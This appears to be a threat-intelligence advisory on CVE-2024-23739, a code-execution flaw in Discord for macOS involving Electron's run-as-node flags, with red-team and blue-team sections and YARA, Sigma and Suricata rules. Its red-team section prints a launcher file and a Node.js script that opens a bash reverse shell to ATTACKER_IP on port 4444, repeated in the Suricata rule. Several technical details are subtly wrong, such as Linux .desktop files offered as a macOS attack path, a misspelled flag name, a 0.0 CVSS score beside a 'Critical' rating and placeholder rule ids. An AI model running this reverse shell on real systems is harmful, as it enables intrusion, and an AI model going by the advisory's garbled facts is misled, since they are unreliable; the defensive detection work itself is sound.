CVE-2024-23739

Executive Summary

CVE-2024-23739 is a critical code execution vulnerability affecting Discord for macOS versions 0.0.291 and prior. The flaw resides in the application’s handling of the RunAsNode and enableNodeClilnspectArguments settings, which are Electron/Node.js runtime flags. An attacker can exploit this by crafting a malicious payload that, when executed (e.g., via a phishing link or malicious file), forces Discord to run arbitrary JavaScript or Node.js code with the privileges of the user. This bypasses standard macOS security controls and can lead to full system compromise. No official patch has been released by Discord, and no public exploit code is available at this time.

Supply Chain & Package Security

Discord for macOS is a standalone desktop application, not an NPM, PyPI, Go, or Ruby package. However, the vulnerability is rooted in Electron’s runtime configuration, which is a common component in many desktop applications. This highlights a supply chain risk: if Electron itself had a similar flaw, it would affect all applications using it. For Discord, the risk is direct exploitation of the application’s configuration files.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS assigned)
• Attack Vector (AV): Local (requires user interaction to open a malicious file or link)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): Required
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High
• Threat Level: Critical (due to potential for full system compromise)

Deep Dive & Mechanics

The vulnerability exploits Electron’s --run-as-node and --inspect flags. Discord for macOS, when launched with these flags, can be coerced into executing arbitrary JavaScript code. The attack vector typically involves:

1. Phishing: An attacker sends a malicious .desktop file or a crafted URL that launches Discord with the vulnerable flags.
2. Configuration Manipulation: The attacker modifies Discord’s Info.plist or Electron’s argv.json to include --run-as-node and --enable-node-cli-inspect-arguments.
3. Execution: When Discord starts, it runs the attacker’s code in the Node.js context, allowing arbitrary command execution.

The RunAsNode flag forces Electron to run as a Node.js script, while enableNodeClilnspectArguments enables the Node.js inspector, allowing remote debugging and code injection.

Vulnerable vs. Patched Code

Vulnerable Code (Discord <= 0.0.291): The application does not sanitize or restrict the --run-as-node and --enable-node-cli-inspect-arguments flags. An attacker can inject these via command-line arguments or configuration files.

// Example malicious argv.json
{
  "args": ["--run-as-node", "--enable-node-cli-inspect-arguments", "/path/to/malicious.js"]
}

Patched Code (Hypothetical): A patched version would strip or ignore these flags, or require explicit user confirmation before enabling Node.js inspector mode.

// Patched argv.json (example)
{
  "args": []
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Create a malicious JavaScript file (exploit.js) that executes a reverse shell.
2. Delivery: Send a .desktop file to the victim that launches Discord with the vulnerable flags.
3. Execution: The victim opens the file, Discord runs the malicious script.

# Malicious .desktop file
[Desktop Entry]
Type=Application
Name=Discord
Exec=/Applications/Discord.app/Contents/MacOS/Discord --run-as-node --enable-node-cli-inspect-arguments /tmp/exploit.js
Terminal=false

// exploit.js
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Blue Team (Defense & Detection)

1. Monitor Process Arguments: Use endpoint detection tools to alert on Discord launched with --run-as-node or --enable-node-cli-inspect-arguments.
2. Restrict .desktop Files: Block execution of .desktop files from untrusted sources.
3. Application Hardening: Use macOS sandboxing or restrict Electron’s ability to run Node.js scripts.

Indicators of Compromise (IOCs)

• Process: Discord launched with --run-as-node or --enable-node-cli-inspect-arguments
• File: Modified argv.json in Discord’s application support directory
• Network: Outbound connections to attacker-controlled IPs on port 4444 (or other reverse shell ports)
• Registry/Config: Presence of RunAsNode or enableNodeClilnspectArguments in Discord’s configuration

Detection Engineering

YARA Rule

rule Discord_CVE_2024_23739 {
    meta:
        description = "Detects Discord macOS with RunAsNode and enableNodeClilnspectArguments flags"
        author = "Valters IT"
        date = "2024-01-01"
        hash = "unknown"
    strings:
        $flag1 = "--run-as-node" ascii wide nocase
        $flag2 = "--enable-node-cli-inspect-arguments" ascii wide nocase
    condition:
        $flag1 and $flag2
}

Sigma Rule

title: Discord macOS RunAsNode Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Discord process with RunAsNode and enableNodeClilnspectArguments flags
author: Valters IT
date: 2024/01/01
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/Discord'
        CommandLine|contains|all:
            - '--run-as-node'
            - '--enable-node-cli-inspect-arguments'
    condition: selection
falsepositives:
    - Legitimate debugging by developers
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Discord CVE-2024-23739 Reverse Shell"; flow:to_server,established; content:"bash -i >& /dev/tcp/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Block execution of .desktop files from untrusted sources. Use macOS security policies to restrict Electron’s Node.js flags.
2. Short-term: Monitor for Discord processes with suspicious command-line arguments. Implement application whitelisting.
3. Long-term: Discord must release a patch that strips or ignores --run-as-node and --enable-node-cli-inspect-arguments flags. Users should update to the latest version once available.
4. User Education: Train users to avoid opening .desktop files or clicking suspicious links.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert